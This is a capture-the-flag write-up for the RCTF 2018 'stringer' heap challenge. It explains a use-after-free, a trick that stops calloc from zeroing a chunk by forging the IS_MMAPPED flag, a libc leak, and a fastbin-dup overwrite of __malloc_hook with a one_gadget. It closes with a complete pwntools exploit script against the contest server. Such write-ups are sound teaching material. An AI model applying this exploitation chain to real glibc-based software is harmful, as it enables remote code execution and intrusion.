RCTF 2018 - stringer

Writeup for challenge “stringer” of RCTF 2018.

This weekend I was busy playing RCTF 2018 with the mhackeroni team (we qualified for DEFCON last week - super pumped!). I really liked one of the pwnables, “stringer”. It was a heap challenge where I had to force calloc to not clear a chunk, which I thought was pretty cool.

At the end, the challenge was worth 540 points (hardest pwn) and was solved by 18 teams. You can grab the files here to play around with it.


We’re given a 64-bit Linux ELF and its libc (2.23). Checksec shows full RELRO, canaries, NX and PIE.

During initialization, a randomly-sized chunk is allocated on the heap to shift the user allocations by a random offset. Then, the program shows a basic menu:

1. New string
2. Show string
3. Edit string
4. Delete string
5. Exit

Option 1 allows us to allocate a string. It asks for a length (up to 256), then it callocs that length and copies our input into it. We can allocate up to 32 strings. Option 2 just outputs don't even think about it. Option 3 can be used to “edit” a string. It asks for an offset inside of a string, and increments the byte at that offset. We can do at most five increments per string. Option 4 frees a string.


The first thing we notice is an obvious use-after-free triggered by deleting a string:

void delete_string()
    unsigned int idx;
    char *str;

    printf("please input the index: ");
    idx = read_int();
    if (idx > 31)
        die("not a validate index");
    str = strings[idx];
    if (!str)
        die("not a validate index");

Where strings is a global array of pointers to allocated strings. Entries in this array are added by the new string option, and the edit string option considers an index valid if its entry is not NULL. However, delete_string does not set the entry to NULL after freeing. Therefore, we can edit a freed string, or free a string multiple times.

There’s another, more subtle issue when adding a string. This is the code for new_string:

void new_string()
    long i;
    unsigned int len;
    char *str;

    if (num_strings > 32)
        die("too many string");

    printf("please input string length: ");
    len = read_int();
    if (!len || len > 256)
        die("invalid size");

    str = (char *) calloc(len, 1);
    if (!str)
        die("memory error");

    printf("please input the string content: ");
    read_line(str, len);

    for (i = 0; i <= 31 && strings[i]; ++i);
    if (i > 31)
        die("too many string");

    strings[i] = str;
    printf("your string: %s\n", str);
    string_len[i] = len;

And this is the code for read_line:

void read_line(char *buf, unsigned int size)
    char c;
    unsigned int i;

    for (i = 0; i < size; ++i) {
        c = 0;
        if (read(0, &c, 1uLL) < 0)
            die("read() error");
        buf[i] = c;
        if (c == '\n')
    buf[size - 1] = 0;

It seems that the string creation could be used to leak memory. Notice the behaviour of read_line when it encounters a newline: it stops reading, it doesn’t replace the newline with a zero, and then zero-terminates the string based on the buffer size, not on the actual read length. Then, new_string prints out the string from the heap chunk using %s, which stops at the zero terminator. So, if we allocate a string on top of a free chunk that contains some data we want to leak (e.g., pointers), then send a short string (e.g., only a newline, so that we only overwrite one byte), we’ll leak the data up to the first zero. This sounds really nice, until you notice the string is calloced, so any data in the free chunk is destroyed. However, as we’ll see, there’s a way around that…

Breaking calloc

Apparently, we don’t have any leaks. I fiddled for a bit, trying to come up with a way to exploit this challenge using only the UAF on edit and delete, but I got nowhere. So I went back to the almost-but-not-quite infoleak I described earlier, asking myself whether there are cases in which calloc doesn’t clear the memory. Mmapped chunks came to mind. Normally, the GNU libc allocator asks the OS for memory (either through sbrk or mmap), and then hands out chunks of it to the application. However, for particularly big allocations, the allocator will directly mmap the chunk and hand it out to the application. This is signaled by the IS_MMAPPED flag in the chunk header. Obviously, mmaped memory is already zeroed by the OS, so calloc shouldn’t need to clear it. The source code confirms this:

mem = _int_malloc (av, sz);
/* ... */
p = mem2chunk (mem);

/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
   if (__builtin_expect (perturb_byte, 0))
     return memset (mem, 0, sz);

   return mem;

Here, chunk_is_mmapped just checks whether IS_MMAPPED is set for the chunk. Unless malloc’s debug features are enabled (they’re not here), perturb_byte is zero, so nothing is cleared. We’re not interested in real mmapped chunks (we can’t allocate them anyway), but with some massaging we can exploit the UAF to edit a freed chunk’s header and set the IS_MMAPPED flag. If then _int_malloc returns our chunk to __libc_calloc, it won’t be cleared. Profit!

Leaking libc

We’ll need to know libc’s position in memory for further exploitation. The typical way to leak libc through a heap leak is to read a link pointer from the first or the last chunk in the unsorted bin, as it will point inside main_arena in libc’s data section. So, in our case, we’ll have to set IS_MMAPPED for an unsorted chunk, then allocate a string on top of it. Clearly, we don’t want this allocation to mess with the flag we just set. The best path to take is an exact fit:

/* Take now instead of binning if exact fit */
if (size == nb)
   set_inuse_bit_at_offset (victim, size);
   if (av != &main_arena)
     victim->size |= NON_MAIN_ARENA;
   check_malloced_chunk (av, victim, nb);
   void *p = chunk2mem (victim);
   alloc_perturb (p, bytes);
   return p;

So this is what we’ll do (I chose the smallest sizes possible - string size is 8 bytes less than chunk size):

  1. Allocate a 0xB0 smallchunk (call it dangling), followed by a 0x20 fastchunk (to avoid consolidation of free chunks with the top chunk);
  2. Free dangling: this sets up the UAF to corrupt the flags;
  3. Allocate a 0x20 fastchunk (call it spacer), followed by a 0x90 smallchunk (call it victim) - note that those exactly fill dangling;
  4. Free victim, which goes into the unsorted bin;
  5. Edit dangling (its saved length is big enough to reach victim), incrementing the LSB of victim’s size (offset 0x18) twice to set IS_MMAPPED - that’s why we needed spacer, otherwise victim’s header would’ve been before the string data;
  6. Allocate a 0x90 chunk with \n content, which will exactly fit into victim, and watch the challenge spew out a libc address (the LSB is corrupted to \n, but that’s irrelevant).

Getting a shell

Now that we have libc, there are a bunch of attacks we can do to gain code execution. I chose to allocate a fake fastchunk on top of __malloc_hook and jump to a onegadget to pop a shell. Because the memory around __malloc_hook contains library function pointers (0x7F top byte) and NULL pointers, interpreting the data at &__malloc_hook-27 as a quadword yields 0x7F, which is a valid fastchunk header for the 0x70 fastbin. Let’s start with a fastbin dup through the UAF. We allocate two 0x70 fastchunks (dup and mid), then free dup, mid, and dup again, thus bypassing the fastbin double-free checks. The fastbin freelist is now dup -> mid -> dup. Now we allocate a 0x70 fastchunk (which will reuse dup) and set the fd pointer to &__malloc_hook-27-8 (accounting for prev_size). The fastbin freelist is now mid -> dup -> &__malloc_hook-27-8. We just need a couple 0x70 allocations to get the first two out of the way, and the next allocation will return our fake chunk, allowing us to overwrite __malloc_hook. One more allocation to trigger the hook, and we have a shell!

$ cat flag

Exploit code

#!/usr/bin/env python2

from pwn import *

p = remote('stringer.2018.teamrois.cn', 7272)

chunk_idx = 0

def menu(n):
    p.recvuntil('choice: ')

def alloc(size, content='', final=False):
    global chunk_idx
    p.recvuntil('length: ')
    if final:
    p.recvuntil('content: ')
    p.send(content + ('\n' if len(content) < size else ''))
    p.recvuntil('your string: ')
    s = p.recvuntil('\n1.')[:-3]
    chunk_idx += 1
    return (chunk_idx-1, s)

def increment_byte(idx, offset):
    p.recvuntil('index: ')
    p.recvuntil('index: ')

def free(idx):
    p.recvuntil('index: ')

prog = log.progress('Leaking libc')
dangling, _ = alloc(0xa8)
alloc(0x18) # stop consolidation with top chunk
alloc(0x18) # spacer
victim, _ = alloc(0x88)
# set IS_MMAPPED on freed victim
for _ in range(2):
    increment_byte(dangling, 0x18)
# exact fit into victim unsorted
_, leak = alloc(0x88)
libc_base = u64(leak.ljust(8, '\x00')) - 0x3c4b0a
prog.success('@ 0x{:012x}'.format(libc_base))

prog = log.progress('Double-freeing fastchunk')
dup, _ = alloc(0x68)
mid, _ = alloc(0x68)

prog = log.progress('Linking fake chunk')
malloc_hook = libc_base + 0x3c4b10
fake_fast_addr = malloc_hook - 27 - 8
alloc(0x68, p64(fake_fast_addr))
alloc(0x68) # remove mid
alloc(0x68) # remove dup

prog = log.progress('Overwriting __malloc_hook')
one_gadget = libc_base + 0xf02a4
alloc(0x68, 'A'*19 + p64(one_gadget))

log.info('Popping shell')
alloc(0x18, final=True)


© 2018. All rights reserved.

Powered by Hydejack v7.5.1